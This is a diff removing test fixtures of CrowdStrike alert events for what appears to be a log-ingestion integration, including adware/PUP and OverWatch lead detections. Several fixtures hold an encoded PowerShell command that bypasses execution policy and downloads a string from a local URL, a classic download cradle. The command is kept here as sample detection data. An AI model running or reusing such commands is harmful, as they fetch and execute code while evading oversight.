Qjm0tvUQp4Lu5eOAx29ZVj-qrGrA==\",\"process_end_time\":\"1699034421\",\"process_id\":\"399748687993\",\"process_start_time\":\"1699034413\",\"product\":\"epp\",\"quarantined_files\":[{\"filename\":\"\\\\Device\\\\Volume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"id\":\"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"state\":\"quarantined\"}],\"scenario\":\"NGAV\",\"severity\":30,\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"show_in_ui\":true,\"source_products\":[\"FalconInsight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"MachineLearning\",\"tactic_id\":\"CSTA0004\",\"technique\":\"Adware/PUP\",\"technique_id\":\"CST0000\",\"timestamp\":\"2023-11-03T18:00:22.328Z\",\"tree_id\":\"1931778\",\"tree_root\":\"38687993\",\"triggering_process_graph_id\":\"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993\",\"type\":\"ldt\",\"updated_timestamp\":\"2023-11-03T19:00:23.985007341Z\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"}",
-                "severity": 21,
-                "type": [
-                    "start"
-                ]
-            },
-            "file": {
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_name": "SOMEHOST",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "SOMEHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "SOMEHOST"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ]
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_name": "SOMEHOST",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"host_name\":\"SOMEHOST\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "SOMEHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "SOMEHOST",
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "OTHERUSER"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
-                    "user_name": "SOMEUSER"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "OTHERHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "SOMEUSER",
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "SOMEUSER"
-            }
-        },
-        {
-            "@timestamp": "2024-11-07T20:47:22.000Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "abcd1234abcd1234abcd12",
-                    "cid": "asdfasdfsadfasdfasdf",
-                    "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                    "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "crawled_timestamp": "2024-11-07T20:49:59.123Z",
-                    "created_timestamp": "2024-11-07T20:49:59.123Z",
-                    "detect_type": "endpoint",
-                    "host_type": "Server",
-                    "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                    "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
-                    "name": "OTHERUSER on OTHERHOST",
-                    "operating_system": "Windows",
-                    "pattern_id": "97000",
-                    "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==",
-                    "prevented": true,
-                    "process_id": "123456789123",
-                    "product": "overwatch",
-                    "seconds_to_resolved": 0,
-                    "seconds_to_triaged": 0,
-                    "show_in_ui": true,
-                    "status": "new",
-                    "tags": [
-                        "ow/investigated",
-                        "ow/resolution/benign"
-                    ],
-                    "timestamp": "2024-11-07T20:47:22.000Z",
-                    "tree_id": "12345678901",
-                    "type": "lead",
-                    "updated_timestamp": "2024-11-07T20:49:59.123Z",
-                    "user_name": "SOMEUSER",
-                    "worker_node_name": "example"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3",
-                "kind": "alert",
-                "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}"
-            },
-            "file": {
-                "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe"
-            },
-            "host": {
-                "id": "abcd1234abcd1234abcd12",
-                "name": "OTHERHOST",
-                "os": {
-                    "name": "Windows",
-                    "type": "windows"
-                },
-                "type": "Server"
-            },
-            "process": {
-                "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA",
-                "entity_id": "123456789123",
-                "pid": 123456789123
-            },
-            "related": {
-                "hosts": [
-                    "OTHERHOST"
-                ],
-                "user": [
-                    "SOMEUSER",
-                    "OTHERUSER"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields",
-                "ow/investigated",
-                "ow/resolution/benign"
-            ],
-            "user": {
-                "name": "SOMEUSER"
-            }
-        },
-        {
-            "@timestamp": "2025-06-06T10:20:41.789Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "7940b10993e844e398f83bd92aa92b8f",
-                    "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644",
-                    "alleged_filetype": "exe",
-                    "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
-                    "cloud_indicator": false,
-                    "cmdline": "cmd crowdstrike_test_informational",
-                    "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000",
-                    "confidence": 100,
-                    "context_timestamp": "2025-06-06T10:20:41.124Z",
-                    "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644",
-                    "crawled_timestamp": "2025-06-06T10:21:45.624Z",
-                    "created_timestamp": "2025-06-06T10:21:45.624Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "An informational level detection was triggered on this process for testing purposes.",
-                    "device": {
-                        "agent_load_flags": 1,
-                        "agent_local_time": "2025-06-06T06:28:45.178Z",
-                        "agent_version": "7.24.19607.0",
-                        "bios_manufacturer": "Microsoft Corporation",
-                        "bios_version": "Hyper-V UEFI Release v4.1",
-                        "cid": "bdc3e3474d8848f1b8dcf41d41669a14",
-                        "config_id_base": "65994767",
-                        "config_id_build": "19607",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.144",
-                        "first_seen": "2025-05-29T11:54:43.000Z",
-                        "groups": [
-                            "f3ba4e75244b4d06837c910a00bf80be"
-                        ],
-                        "hostname": "raquel-win10-3",
-                        "id": "7940b10993e844e398f83bd92aa92b8f",
-                        "last_seen": "2025-06-06T09:44:59.000Z",
-                        "local_ip": "10.0.0.13",
-                        "mac_address": "60-45-BD-D2-D4-37",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2025-06-06T10:18:32.000Z",
-                        "os_version": "Windows 10",
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "status": "normal",
-                        "system_manufacturer": "Microsoft Corporation",
-                        "system_product_name": "Virtual Machine"
-                    },
-                    "display_name": "TestTriggerInformational",
-                    "email_sent": true,
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge",
-                    "filename": "cmd.exe",
-                    "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
-                    "global_prevalence": "common",
-                    "grandparent_details": {
